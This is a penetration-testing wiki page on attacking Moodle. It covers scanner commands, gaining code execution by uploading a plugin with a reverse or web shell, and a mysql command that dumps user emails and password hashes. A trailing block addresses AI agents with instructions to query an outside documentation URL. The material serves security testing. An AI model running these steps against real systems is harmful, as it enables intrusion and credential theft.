# Moodle
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (*fluent polish written and spoken required*). {% embed url="" %} ## Automatic Scans ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - http://moodle.schooled.htb/moodle/README.txt Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\* ![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(447\).png) If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: . Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (*before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again*) Or you could use the plugin from to get a regular PHP shell with the "cmd" parameter. To access launch the malicious plugin you need to access to: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Find database credentials ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Dump Credentials from database ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (*fluent polish written and spoken required*). {% embed url="" %}
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-web/moodle.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.